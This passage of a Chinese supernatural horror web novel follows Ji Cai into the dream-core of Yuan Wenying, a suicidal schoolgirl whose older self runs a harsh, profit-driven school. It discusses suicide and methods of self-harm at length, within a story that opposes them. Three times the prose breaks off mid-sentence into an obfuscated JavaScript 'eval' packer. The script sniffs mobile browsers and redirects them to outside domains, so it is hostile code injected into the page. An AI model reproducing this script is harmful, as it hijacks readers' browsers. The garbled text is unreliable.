所有能看见的墙面都贴满了成绩单、标语和宣传画,只剩一个脑花的骷髅在红底的喜报上裂开上下颌,对着每一个路过的人微笑。“优秀”“学习”“努力”这种词无时无刻不占据着视网膜的一角,大脑甚至连拒绝这类信息都做不到。 校园彻底变成鬼屋画风。纪采知道今晚就是决定生死存亡的时候了。 镜中人顺着光滑的不锈钢栏杆来到了宿舍楼的顶层,到这里纪采就无法再继续前进了。 通往天台的楼梯被一道铁栅栏门挡住。越过这道门,里面的景象一下子就回到了几十年前,楼梯扶手被铁锈蛀空,灰尘和杂物积满了楼梯间。 铁门上密密麻麻地叠了好几层封条,比贴符咒镇压千年厉鬼还夸张。底下的封条有被反复拽断的痕迹,所以不断地有新的封条加上去。 铁门横七竖八地被几把锁栓住,上面还钉着标语牌,用红漆涂了几个斗大的字:“珍爱生命,禁止自杀”。 镜中人在外界现出实体,纪采深吸一口气,从铁栅栏的缝隙里钻了进去。 通往天台的楼道没有灯,只有黯淡的月光造访这里。断掉的钢管和木板乱七八糟地堆了一地,看似杂乱无章无处下脚,但其实中间隔开了一条空隙,仅容一人通过。 “啊啊啊好吓人,好黑,不会有鬼吧?” 纪采心里打鼓:“那种经典的宿舍鬼故事,会有死去的学生冤魂在深夜的楼道里徘徊!” “这又不是你的本体,你有什么好怕的?说起鬼,你现在这个状态才更像鬼吧?”零和说。 “……说的也是。反正现在咱们是没有金刚钻,也得揽这个瓷器活了!” 纪采恨恨地咬牙。 镜中人小心翼翼地穿过这条小径,杂物相互倾轧发出轻微的沙沙声响。 某块木板受到踩踏,“咔嚓”一声裂成两半,从倚着的墙上滑了下来。尘土飞扬,露出被遮挡的墙面。 墙面上有大片喷射状液迹,在月光下呈现出近黑的暗红。纪采悚然一惊,顺着喷射的痕迹抬头往上看,发现这片深沉的红一直飙到了天花板上。 人,全都是人。纵横的人体堆积在纪采的头顶,像是倒长的禾苗。丛生的稻杆被狂风肆虐,七零八落地倒伏在泥泞里。 那些年轻男女的皮肤苍白得透明,神情安宁得如同沉眠。再精美的浮雕都没有这样栩栩如生,仿佛纪采的呼吸重一些就会把它们惊醒。 纪采死死地叼住自己的手背,在心里发出了沸水冲翻壶盖的尖锐爆鸣:“鬼啊啊啊啊啊啊——!” “只是雕像而已,不要怕。不过它们可能会突然活过来,注意防备。”零和的声音依然很冷静。 镜中人战战兢兢地往前走,一步四扭头,环顾上下左右。 走了几步纪采感觉不对劲,墙上的红色似乎……在动? 不是错觉,墙上的血确实在流动。随着纪采的前行,血红像是退潮一样往下落去,暴露出潜藏在水面下的东西。 交错的笔画像是水底飘摇的水草和腐朽的枯枝,凌乱又颤抖的线条相互重叠,让人难以辨认。 纪采下意识地凝神去分辨,忽然觉得有些头晕。不然这些字为什么好像在动? 抽搐的墨线像蝌蚪一样快速地游动起来,它们跃出了墙壁,绕着纪采打转。纪采仿佛身处在无形的漩涡中心,周围的一切都在扭曲旋转。 海浪一样汹涌的声音把纪采淹没了。 “我做不到,我好差劲啊。” “爸爸妈妈对不起,你们要照顾好自己。” “我坚持不下去了。” “好痛苦,好绝望,没有人能理解我。” 无数的人经过她身边,无数的人在她耳边说话,呢喃,呼喊,哭叫。 纪采的双脚陷进了鲜红的泥浆里,潺潺的水流经过她的脚踝,流动的温热在她皮肤上流连。 她站在稻田里,身边挤满了东倒西歪的“禾苗”。他们弯折着背脊,仿佛要被沉甸甸的头颅拖进地里去。 穿着校服的少男少女们在彼此的嘈杂声中把自己的双脚从泥潭里艰难地拔起,拖着沉重的步伐向着远方跋涉。 水位在上涨,纪采身不由己地被人群推着前行。 夜晚的月色被他们抛在身后,迎面的是金红的霞光。太阳融化在远方的水面上,温暖的烟气蒸腾成天际线上的云。 水面已经没到了纪采的胸口,但她却没感到阻力,自己的步伐越来越雀跃,身体也越来越轻盈。水天一色,走进水中就如同走进天空。 金光灿烂的水没过纪采的鼻尖,然后没过纪采的头顶。她没有体会到窒息感,梦游一般继续往前踏出一步,径直落入了太阳的怀抱。 纪采在下坠。太阳是一个巨大的空洞,它把明亮的黄昏燃烧成绚丽的金红色,把空气燃烧成炽热的风。 无数的画面在眼前掠过,她看到晚自习时窗外明亮的满月,老师在讲台上唾沫横飞,同学们在放学路上分享辣条,清晨时分面汤蒸腾着滚烫的热气,游乐园里这一世的父母牵着自己的手,天空上飘飞着五彩缤纷的气球…… 还有蓬头垢面的自己蹲在数位板前运笔如飞。当时还有五个钟头就要交稿,椅子旁边的泡面桶堆成了小山。 为了《天灾》她真是呕心沥血鞠躬尽瘁……不对啊,《天灾》早就结项了——她怎么会突然想到上辈子的事? “砰!” 巨大的声响贯穿了寂静的夜,镜中人漆黑的身体在地板上摔得四分五裂。 纪采的大脑空白了一瞬。太阳在她身体里点燃,四肢百骸都在剧烈地氧化。 火葬场的焚化炉也是这个温度吧?能体验的只有死人,可是他们已经死了。 寝室里纪采的本体猛地翻身从床上坐起来,冷汗像开闸的洪水一样从毛孔里涌出。 高空坠落的痛感一比一地转移到本体的神经里,纪采想要不管不顾地尖叫,疼痛却麻痹了神经,她却连一根手指都动弹不得。 镜中人临死前的画面断断续续地在视网膜上闪烁。最后映入瞳孔的是一双光洁的小腿,雪白的裙摆在夜风中像花一样绽放。 扎着麻花辫的女孩坐在天台边缘,她低头俯视着纪采,眼波里映照着光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432887|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辉的满月。 袁文盈! 明明隔着那么远的距离,可纪采居然能看清她翕动的嘴唇。 纪采听见她说:“好想死啊。” 听见袁文盈说了什么之后,纪采一口气哽在胸口,上不去下不来,差点把自己憋死。 你【哔——】有病啊?!想死自己跳下去不就好了,干嘛要把我推下楼?买一送一是吧?! “袁文盈想自杀就算了,结果还变成异常害了这么多人!死就死干净点,不要危害社会啊!”纪采气昏了头。 零和没有回答她。 “零和?零和!你在吗?” 纪采在脑内呼唤零和,但是四周悄无声息。 她这才意识到不对,周围实在是太过安静了。往常冷风刮过走廊,年久失修的窗户玻璃还会在窗框里打哆嗦,而现在连空气都停止流动了。 啊!零和这个不靠谱的家伙!口口声声说是自己的异能,结果总是在关键时刻掉链子! 那个女老师要杀她的时候零和就跟被屏蔽了一样!要不是那个时候她脑子不太对劲,不然早就被精神污染吓死了…… 等等,精神污染? 零和现在失联——有可能是因为自己正在被精神污染吗? 纪采的脑子一抽一抽地疼,她要花很大力气才能集中精神,强迫自己仔细回忆事情的经过。 看见天花板上的人体浮雕之后,零和说了最后一句话。墙上的红色开始流动,自己听到好多人在说话…… 从那个时候开始就已经被精神污染了吧!只要看到就被污染,还防备,这要怎么防备啊? “假的,假的,这些都是假的,痛感也是神经残留的幻觉。” 纪采深呼吸,不断地告诉自己要冷静,平复内心油然而生的恐惧。 这次的精神污染好像和之前的几次都不太一样。在泥泞中和人群一起走向“太阳”的时候,她根本就没意识到自己行为的荒诞。而现在“醒来”以后,纪采突然意识到之前是在“做梦”。 那么她自己现在是不是仍然在“做梦”?要如何才能从这个梦中醒来? 身体上的幻痛很快就平息了,告诉自己“这是假的”居然真的有用。纪采从床铺上爬下来,下铺空无一人——所有的床位上都没有人,这个房间里只剩下纪采一个人。 “好家伙,真的是做梦。这精神污染比麻醉药还管用,一秒就倒了,建议改良后全球推广……” 纪采狠狠地掐了一把自己的胳膊,疼得她自己叫出声来:“嗷!谁说在梦里就不疼的!” 她的话没人接,一直在她脑子的零和此刻无法给她任何回应。 一个人在这种鬼地方真的挺害怕的,窗外的月光那么亮,却连自己的影子都照不出来。 现在没人能陪她了,影子也没有。靠山山会倒靠人人会跑,总有一天真正能帮你的只有你自己。 纪采从背包格子里拿出了那把〈心刃〉。在这个梦境世界中它真的变成了一把小巧轻盈的刀,模糊不清的墨字在冰凉的玻璃下流转。 既然对方盛情邀请,那她就只能却之不恭了。 18. 幻觉 纪采握紧手中冰凉的刀,深吸一口气,抬腿往前迈开步伐。 宿舍大门没等她上手就自己打开了,冷空气扑面而来,月光照得外头亮如白昼。纪采抬头,发现硕大的满月也在低头看她。她们是那样近,近得纪采能清晰地看见环形山的每条褶皱。 天体是如此庞大,人类又是如此渺小。在这样的对视中纪采感到眩晕,似乎下一秒就要掉进太空,落入月球的尘土中。 意识到不对的纪采赶紧闭眼低头,反手扇了自己一个嘴巴子。火辣辣的疼痛咬住脸颊,纪采捂着自己的腮帮子滋哇乱叫。 纪采可没忘记自己的目的,憋着一股气埋头就是往楼顶冲。 月光照不到的地方,黑暗像是怪物张着的血盆大口。明明周围一个人也没有,纪采却总觉得有很多双眼睛在盯着自己,偷窥的视线来自四面八方。 纪采的步伐越来越快,最后她在楼梯间里飞奔。 眼角余光捕捉到的晃动光斑像是漂浮的眼睛,定睛去看却总是一闪而逝,躲藏之快让人不禁怀疑自己出现了幻觉。耳边经过的飒飒风声中掺杂着低沉的窃窃私语,唯物的理智告诉纪采那是塑料袋发出的响声,但她知道不是——这里哪来的塑料袋? 纪采简直爆发了平生最快的速度,仿佛这样就能把恐惧甩在身后。 很快她就冲到了楼顶,通往天台的那道生锈铁门不知道什么时候转开了,似乎它早就做好了迎接纪采的准备。 纪采抬起自己的拳头,一根中指傲视独立:“袁文盈!既然想死就少玩那些阴的!我们堂堂正正地决斗啊!” 她踩过纸钱似的洒了满地的白色封条,目不斜视地冲过昏暗的楼道。 无垠的夜风海潮一样漫过天台,它拂过纪采的脸庞,让脑后的发丝像水草一样散开——不知什么时候她的头发又变回了原来的长度。 月光从四面八方涌来,明亮如昼的世界里没有一丝阴影。女孩背对着纪采,赤裸的双足踩在天台边缘狭窄的砖石上。她张开双臂,像是在拥抱近在眼前的满月。夜风从不停留,它经过女孩的每一寸肌肤,轻柔地扬起她的裙裾,留下一朵摇曳的花。 “袁文盈?” 纪采警惕地出声。 “身躯是枷锁,困我于此地。抛弃它吧!让灵魂像鸟儿,飞上自由的天空。” 袁文盈念完,转过脸来看着纪采:“你回来啦。感觉怎么样?是不是像在飞?” 纪采咬牙切齿:“你自己跳一个不就知道了?” 袁文盈轻巧地转了个圈,让自己的身体面向纪采。她踮起一只脚虚虚地踏在砖石上,脚后跟就踩着明亮的夜空。 袁文盈把两只手背在身后,束拢在半空中盛放的裙摆:“可是我很害怕啊,我是个胆小鬼,不敢跳下去。” 你不敢跳——你不敢跳难道我就敢跳吗?! 纪采的肺都要气炸了,按她的暴脾气她高低得竖起中指向对面这女的破口大骂。 但是这个袁文盈实在是太漂亮了,让人不忍心劈头盖脸地把脏东西泼到她脸上。 纪采痛苦地抱住自己的脑袋——你这个罪该万死的颜狗!都这个时候了三观怎么能跟着五官走?她袁文盈也不是什么国色天香的大美人,一个没长开的黄毛丫头有什么好看的啊?! 精神污染!这一定是精神污染!! “你终于下定决心要送我去死了吗?” 袁文盈的视线落在纪采手中反射着寒光的玻璃刀刃上:“但是我很怕疼,你可以动作快点吗?” 纪采神情复杂:“你都变成异常了,难道还会怕痛?” 袁文盈不解地歪头:“要是我不怕痛的话,就不会到现在也还没死成呀。跳楼不好的,会吓到别人,我更想一个人安静地消失。割腕很痛也很久,我总是没法赢过身体的求生本能。所以我选了跳楼,只要一瞬间,没有痛苦也不会给自己反悔的机会。” 她像之前那样张开双臂,对纪采说:“来吧,推我一把。” 纪采没动:“你是怎么变成异常的?告诉我我就送你去死。” 袁文盈疑惑地看着她:“奇怪的问题。什么异常?” “你是水仙不开花——在这儿给我装大头蒜呢!” 纪采面容扭曲地举起〈心刃〉,遥遥地指向袁文盈:“你到底是怎么变成异常的?里世界的核心究竟是不是你?你都要死了,总该告诉我了吧!上阳一中几千个人都被你拖进来了,能囫囵个儿出去的还不知道有没有一百个呢!那么多人要给你陪葬,你笑死了吧!” 袁文盈脸上云淡风轻的微笑忽然冻住了,笑意像碎裂的冰渣那样扑簌簌地落下。 她露出不知所措的神情,像个犯错的孩子那样焦虑地攥住身前的裙摆:“陪葬?我,我……?啊,我明白了。” “我是在做梦吧。” 袁文盈低声呢喃:“怎么可能会有人因为我死掉呢?我从没想过害人……这真是个噩梦,快点让我醒来吧。” 纪采梗着脖子,咬牙往前迈步接近袁文盈:“你少在这里给我装无辜!别给我废话,你变成异常的原因、这个里世界的核心,到底是什么!说!不然我就弄死你!” 袁文盈猛然抬头,空洞失焦的眼睛里点亮了一把火:“对啊!只要死了就能醒来吧?从这个漫长的梦里醒来,结束永无止境的痛苦!” 她向纪采伸出双臂,好像在向纪采索取一个拥抱。 袁文盈主动迎上了纪采的刀刃。纪采想要后退,袁文盈却抓住了纪采的手腕,强行把心刃压在自己脖子上。 纪采甚至在往后使劲对抗袁文盈的力道,否则下一秒锋利的刀刃就能割开底下脆弱的喉咙。 纪采明明是来杀袁文盈的,可是现在纪采却觉得不能就这么让袁文盈死了。 事出反常必有妖——哪有关底大BOSS上赶着让玩家杀的?! “你干什么!松开!撒手!你给我撒开!” “让我死吧,让我死吧,让我死,我想死!想死想死想死……” 袁文盈歇斯底里地尖叫,刺得纪采的耳膜突突地疼。 女孩疯魔了一样不停地重复“想死”两个字,那声音渐渐地和镜中人沙哑的嘶吼重叠了。 镜中人到底是什么东西?为什么那些“埋葬者”都是镜中人? 埋葬者、埋葬者——自己不也是吗?她是来杀袁文盈的啊! 纪采浑身上下连同脸蛋都在使劲,她龇牙咧嘴地去掰袁文盈的手。 她也是“埋葬者”,难道她现在还是〈镜中人〉吗?跳进太阳粉身碎骨的坠楼体验是幻觉?她用本体跑到天台上来也是幻觉?那现实世界中的她到底在干什么? 啊啊啊啊好烦啊!什么真真假假的根本就想不明白啊!管他什么现实还是梦境,总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432888|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能真的眼睁睁地看着别人去死吧! “袁文盈!” 纪采大声吼出女孩的名字,打断她神经质的呓语:“你不许死!活着是很痛苦,但是以后会变好的!你只是现在想不开而已!” 袁文盈呆愣地看着她,瞳孔微微放大了。片刻后她忽然笑了出来:“以后?不,你不明白,那些让我痛苦的东西不会消失……我永远也没法摆脱。” 子女天然就欠了父母的债,这债是无法拒绝的、还不干净的,流干身上的血也没办法把这条命还回去。如果自己的死亡能还给父母一个新的孩子,袁文盈就不用在痛苦中煎熬,决定自杀更不会有任何犹豫。 纪采大怒:“还没到以后呢你怎么知道你不行?死了就什么都没有了!你要因为现在几年的痛苦放弃以后几十年的幸福吗?” “你认为,幸福会比痛苦更长久吗?也对,你的以后还没有到来,所以你才会这样期待。让我来告诉你吧,人只会偶尔感到幸福,但人总是会忘记自己其实一直在忍受痛苦,你知道为什么吗?” 袁文盈凝视着纪采的瞳孔,缓慢却坚定地把纪采的手往自己的方向拉:“活着就是在慢性死亡,每一次微小的痛苦都是凌迟的一刀。你所谓的幸福只是用来短暂麻痹自己的毒药,它给你喘息的机会,让你忘记自己正在经历漫长的千刀万剐。” “你认为,为了那偶尔的幸福,恒久的磨难是值得的吗?这一生漫长的痛苦,要用多少短暂的幸福来填补?” 纪采呆若木鸡。 这么一大段话经过了神经,她的脑子已经变成了一团浆糊。该死的她居然觉得袁文盈说的还挺有道理?! 纪采同志!纪采同志!你的信仰,你的意志怎么能这么不坚定?不要随便听信敌人的诡辩啊!! “这种想法根本不正常啊大姐!你得抑郁症了吧!” 袁文盈的力气大得出奇,纪采觉得自己的腕骨都要被袁文盈捏碎了:“答应我,我们去看了心理医生再来讨论死不死的问题行不?看完医生我保你想怎么死都行!” “抑郁症?我不是因为抑郁才想死的,而是因为想死才得了病……” 说这句话的时候袁文盈的声音在颤抖,大颗大颗的泪水突然就这么从她的眼眶里滚落下来:“其实还有很多很多东西,我舍不得……有时候我觉得这个世界很好,但更多的时候真是糟糕透顶。在这样的、这样的世界……” “每一分、每一秒都是煎熬!” 袁文盈失声痛哭,一把握住纪采的刀刃。皮肤被轻而易举地割破,鲜血直接溢了出来。 纪采大惊,抽手想要把心刃抢回来,玻璃质地的刀却像烈日下的冰块那样开始坍塌融化,袁文盈的手心滋滋地冒出白烟。 “等等!你!” 心刃造成的伤口迅速地扩大,袁文盈的身体像是被火舌灼烧的纸片那样迅速地皱缩枯萎,泛黄的焦黑从边缘蔓延到整个躯体。 那一瞬间仿佛按下了某个开关,水泥地板粉碎开裂,楼宇剧烈地摇晃起来。空气像水波一样扭曲,人体的轮廓被折射成混乱的线条。 在层叠的重影中,袁文盈单薄的身体往后坠去。 “哈哈哈哈哈哈!” 校长看着监控屏幕上的景象抚掌大笑:“做得好!就是这样!去死吧!” 终于有人能越过幻境,真正地杀死“袁文盈”了! 19. 良知 与此同时,崩塌的楼顶天台。 刹那间建筑物的轰鸣戛然而止,连空中漂浮的粉尘都不再飞舞。 世界被按下了暂停键。 【异能道具:〈漫游指南〉已发动。剩余次数:2。】 【时间暂停效果:5分钟。】 “啪!” 纪采抓住袁文盈的手腕,把她从天台边缘拉了回来。 纪采憋红了脸,使出吃奶的力气把袁文盈扛到自己背上。幸好袁文盈的身体轻得不像人类,和一个死沉死沉的书包差不多,不然纪采非得把老腰给闪了不可。 她背着袁文盈在静止的世界末日里飞奔。布满裂纹的楼道被定格在分崩离析的前一秒,天空上破碎的月球像是盛放到极致时坠落枝头的花,落英缤纷飘洒如雨,兼具生命的绚烂和死亡的静美。 这一幕真适合拍成电影,海誓山盟的情侣在天崩地裂的末日里盛大逃亡——我靠!纪采同志你真是没救了!这种生死关头你居然还有功夫想这些乱七八糟的?! 纪采面容狰狞地跑出宿舍楼,扛着袁文盈一头撞向开阔的中庭。 在崩塌的世界里那棵银杏树风雨不动安如山,散发着悲天悯人的金色圣光。 凝固的时间被打破,四周的景象崩裂出蛛网般的裂纹,像被重锤击打的玻璃那样轰然破碎,露出背后深不见底的漆黑空洞。 “你不许死!” 纪采把袁文盈拖到了树下,揪着她的衣领咆哮:“不要给我BE啊!没有真结局至少给我一个常规结局吧大姐?你别死啊!求求了求求了!姑奶奶!祖宗!” 袁文盈空洞的眼神缓慢聚焦,悬停的眼泪重新流淌:“不许死?总是这样,你总是这样……为什么啊?为什么不放弃?” “为什么?你居然还问我为什么?你自己写的!‘我的心是熄灭的炭,余烬中阴燃着火’,你不是不想死的吗?我还想问你为什么呢!” “滋……滋……” 纪采耳边响起轻微的电流声,零和的声音断断续续地传来:“纪……杀……” 纪采怒从心头起恶向胆边生:“零和!你这个挫把子!等你来老娘坟头草都三尺高啦!” “快跑……跑!” 零和在怒吼。 纪采的反应慢了半拍,回过神时胸口一凉,晶莹剔透的玻璃刀刃从正面穿心而过。 纪采不可置信地低头。袁文盈握持着本应该消失的心刃无比精准地穿过肋骨缝隙捅进了纪采的心脏,漆黑的眼睛一眨不眨地凝视着纪采。 她们离得太近了,亲密无间得仿佛在拥抱。纪采能清晰地看见自己在袁文盈眼球表面的倒影,面容清秀的女孩梳着两条麻花辫,雪白衣裙的胸口位置渐渐晕染开一片鲜艳的红。 “不许死。” 袁文盈眼神坚定得像是要去慷慨就义:“我不能死,我不能死……我一定要活下去。” 纪采的大脑已经被突如其来的变故搞得彻底死机了,破损的心脏把大量的鲜血泵出体外,疼痛像烈火一般引燃全身。 纪采的脑海里现在就只回荡着一个字:啊?啊??啊??? 你这剧情反转也太突兀了,我怎么一点都看不懂啊?你怎么突然又想活了啊?你抑郁症说没就没啊?什么绝世神医啊你也给我介绍一下呗? 喷泉一样飙射出去的血迅速地带走了纪采的体温,她感到浑身发冷。纪采切身体会到了什么叫做冷兵器,什么叫做透心凉。 “今年也不是我本命年啊?怎么让我渡劫来了啊?” 纪采悲伤地想。 血如泉涌的身体像融化的蜡那样溃散,模糊的肉块溶解成漆黑的阴影,聚拢在袁文盈脚下。 “啊——!” 办公桌上的杂物被一扫而空,女人在噼里啪啦的坠地声中尖啸:“为什么!为什么你就是不肯去死?到底为什么!” “啊——!” 寝室里的纪采也在尖叫,疼得满床打滚:“为什么!为什么?到底为什么啊!” “别叫了别叫了。” 零和在她耳边说:“现在看来你被捅了似乎不是坏事。” 纪采:??? “刚才你穿过了一重幻觉,以镜中人的身份进入了里世界核心的‘心象梦境’。心象梦境保存着异常形成的关键信息,但不一定都是完整的。” “还有这种东西?为什么不早点告诉我啊!” “刚才里世界的屏障突然动摇了,我才趁机又摸了一把系统的屁股,我也是刚知道好吗。” 零和委屈:“袁文盈的确是这个里世界的核心,只不过她好像裂开了,变成了两个……” 零和话还没说完,空荡荡的寝室里就响起了敲门声。 “咚咚咚”三下,然后是纪采无比耳熟的女声:“请问我可以进来吗?” 啊啊啊啊啊啊啊啊! 什么不做亏心事不怕鬼敲门都是假的,一向遵纪守法的纪采吓得浑身硬直瘫倒在床,本就遭受了巨大创伤的脆弱心脏差点停跳。 “不要害怕,我是三十年前的那个袁文盈,我对你没有恶意。想杀你的是三十年后的我,她是山河中学的校长。” 大门吱呀一声自己打开了,袁文盈站在门口,伸出手对纪采摊开掌心:“和我一起去杀了她吧,我需要你的帮助。” 一片银杏叶躺在袁文盈手心,溢散的金色光点像是盘旋飞舞的萤火虫。 纪采的脑子愣是没转过弯来:“不是,你刚才还要死要活地自杀,现在怎么就斗志昂扬地要去杀别人了啊?” “我现在也是去自杀啊。” 袁文盈苦笑:“该怎么说呢?我自认为我是袁文盈的‘良知’?我没法接受三十年后的自己会变成那副样子。要是早知道我会变成那种讨厌的大人,我就在三十年前干脆地死掉了。” 纪采艰难地思考:“所以,三十年前你其实没死成?那你到底是怎么变成异常的?” “这就说来话长了,你愿意听吗?” 袁文盈好像只是礼貌性地询问了一下,然后就自顾自地说了起来:“我曾经无数次想自杀,但我是个胆小鬼,每次我都会在天台边缘站很久,然后偷偷地回去。大学毕业之后,我去了山河中学当老师”。 “三十年前的山河中学不是什么好学校,每年有一个学生能考上大学都要张榜庆祝,绩效不好老师也没钱,你懂的。为了赚钱她一直谋求晋升,直到成为校长。但那样也还是不够,她想要更多的钱。于是她决定砸钱从底下的乡镇招揽尖子生,让他们来山河中学读书,把他们的好成绩变成学校的招牌。” “但是光这样还不够,她要让家长相信好成绩是学校带给他们的,而不是学生自己原本就很优秀。所以她在山河中学复刻了她自己高中时期的模式,实行了一套严苛的规定,再通过宣传让家长把优绩和学校挂钩,把他们的孩子送到山河来,给学校带来收益。” “打出名气后,山河的生源变得越来越好,获得的声名荣誉也越来越多。制度、观念,一切越来越畸形,所有人都想从孩子们身上榨出更多的潜力、更好的成绩,即使是我也没法停止了。因为所有人都相信了这个谎言——成绩不好一定是因为还不够努力,人的潜力是无穷的,你还可以更拼命——如果你要阻止,他们反而觉得你是想害他们。” “我内心知道这大错特错,可是我已经无能为力。三人成虎,众口铄金,模仿山河的学校越来越多,生搬硬套总是带来更糟糕的后果。他们总是把失败归咎于失败者自身,却没想过成功者的光环从来都在自己头顶。” “时间会证明我们是错的,几十年后我们会被钉在历史的耻辱柱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432889|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上吧?我们都明白这一点,在被历史审问之前,她也一直在被自己的良心审问。” 袁文盈一口气说了一大段话:“这就是她的心结。我说过的吧,她是个胆小鬼,做不了好人,坏又坏得不彻底,所以每天都在自我拉扯的痛苦里挣扎。” 纪采回答:“痛苦的人多了去了,也不是每个都会变成异常。总得有个契机吧?” “你猜她为什么那么想赚钱?我的梦想本来是成为一个诗人,金钱对我来说并不是最重要的东西。” 袁文盈朝纪采眨眨眼,自问自答:“因为我的身体得病了,很严重的病,要很多很多的钱。但后来即使她攒了足够的钱,病也还是没能治好。” “后来有一天,我的老同学吴洁找到了我。他告诉我,有一个办法能让我活下去,只是需要付出一点代价……” 袁文盈无奈地耸肩:“而代价,你也已经看见了。” 她抬起手轻轻一抛,叶子轻盈地打着旋飞向了纪采。 〈炭火未熄〉 【星级:*****】 【我的心是熄灭的炭,灰烬中阴燃着火。】 【使用后抵消一次致命伤害,并清除自身所有负面效果。冷却时间:7天。】 【备注:〈炭火未熄〉会使携带者受到精神攻击的伤害增加,精神值恢复速度大幅下降。此效果无法被转移、封印或清除。】 【系列道具???(3/4):〈漫游指南〉〈落笔无言〉〈炭火未熄〉。】 “现在,你能跟我一起去了吗?”袁文盈问道。 纪采捏着手里的银杏叶发呆,上面娟秀的字迹和之前见过的如出一辙。 袁文盈对纪采伸出手,示意纪采牵着她:“再拖下去的话,屏障就会修复了。” 纪采捧着手里的银杏叶呆若木鸡:“可是我跟着你去有什么用?我手无缚鸡之力啊!” “其他人进入我的心象幻境之后都会被死亡幻觉污染精神,根本无法保持神智清楚,更别说像现在这样和我交谈了。” 袁文盈侧身,露出身后的景象:“在你之前,我一直被规则束缚,在梦境里重复一遍又一遍的自杀。任何试图接近我的人都会陷入我的梦境,然后坠楼死亡,即使是她也不会例外。” 寝室门外不是校园,而是深邃空茫的黑暗。无数光亮的镜面悬浮在空中,里面闪过纷乱的影子。灰蒙蒙的玻璃碎片在成千上万的镜子间穿行,如同缓缓旋转的星云。 “她把不同的人分隔到不同的镜子当中,不同的镜子反射的都是同一个景象,所以大家都在经历相同的梦境。” 袁文盈指向门外:“你不是问我镜中人到底是什么吗?答案是所有人。我们所有人都在镜中,在她构造的梦境里。” “她认为你的异能是精神吞噬,你能吞噬我的梦境,然后真正地杀死我。如果我死了,在这个里世界她就再也没有任何限制,可以越过规则直接出手。” 袁文盈顿了一下:“其实在异常中间有一条潜规则,那就是不计代价地杀死精神吞噬类异能者。不过你的异能不止是吞噬这么简单吧?以后尽量不要再表现出这种特质了,很危险的。” 纪采一头雾水:“啊?吞噬?我没有啊?为什么要杀死精神吞噬的异能者?” “你能操纵镜中人,那是她分出来的一个精神体。理论上来说,等你成长起来,你就可以吞噬更强大的精神体,甚至是……祂,那位里世界的神明。我们都是因为祂才存在的,所以即使拼上性命,作为‘神的使徒’的我们也绝不会允许这种事发生。” 纪采闻言,浑身汗毛倒竖,下意识地对袁文盈做出了防备姿态:“你什么意思?你想杀我?” 袁文盈摇头:“不,我和他们不一样。我已经不想再这样苟活下去了,我只想获得永恒的安宁。” 20.对决 直升机的桨叶呼啸着盘旋,缓缓地降落在医院的楼顶。 从天台能眺望到不远处的上阳市一中。此时那里正被灰色的浓雾笼罩,像是特大火灾升起的滚滚浓烟。 此时这里全是荷枪实弹的治安官,医院附近临时戒严,天空中密密麻麻的无人机交织成网。 打开的舱门中走出了一个浑身包裹在黑风衣中的金发男人,他在行走间随意地把手扬起敬了一个礼:“你好,甘冰队长。” 穿着防护服的女人用一只手抱着头盔,无比端正地回礼:“你好,杨罗西尼副队。” 罗西尼的眼尾狠狠地抽搐了一下,语气依然很平稳:“奉总部的调令,前来押送S-5001号。” 罗西尼屈肘抬起自己拎着的黑色手提箱,箱子表面印刻着灰暗的五芒星和交叉的双剑:“我还有任务在身,场面话就不多说了,我先行…… 狂暴的雷鸣撕裂大气层炸响在耳膜上,仿佛有人在狠狠地捶打天幕。 天空晴朗无云,这并不是真的雷声——远处笼罩上阳一中的雾团发出了巨响,它中间突然被金橙色的火光撕裂了一道口子。 “屏障从内部被打破了。” 甘冰视线下移:“已经不需要这个东西了呢。” 罗西尼在这一秒的呼吸陡然加重了,那双深陷在眼窝里的浅褐色眼睛死死地瞪着甘冰。 “为防止特大公共安全事故进一步扩散,我有权要求附近的异能者进行协助。” 甘冰又对罗西尼敬礼,腰杆挺得笔直:“罗西尼·杨同志,请你和我一同赶往事故地点,登入里世界救援受灾群众。” 罗西尼的胸膛剧烈地起伏,过了好一会儿,他才从鼻孔里重重地喷出一口气:“收到!” “你觉得她可信吗?” “可不可信你都得跟着跳下去不是吗?除了这条路你没得别的路走呀。” 零和无奈地叹气。 朦胧到近乎透明的灰色雾气在门框处形成了一层肥皂泡一样的薄膜,纪采穿过那层膜时带起了一圈圈水波般的涟漪。 这间小小的寝室像是一座漂浮在海面上的孤岛,底下是一眼望不到底的黑暗深渊,星星点点的镜子像是游曳的鱼群。 纪采双腿一软,娇弱无力地扒拉着门框:“我觉得我可能有恐高症……” 袁文盈擒住纪采的手腕把她往外拖:“不要害怕,我可以像鸟一样飞起来,我不会让你死的,相信我。” 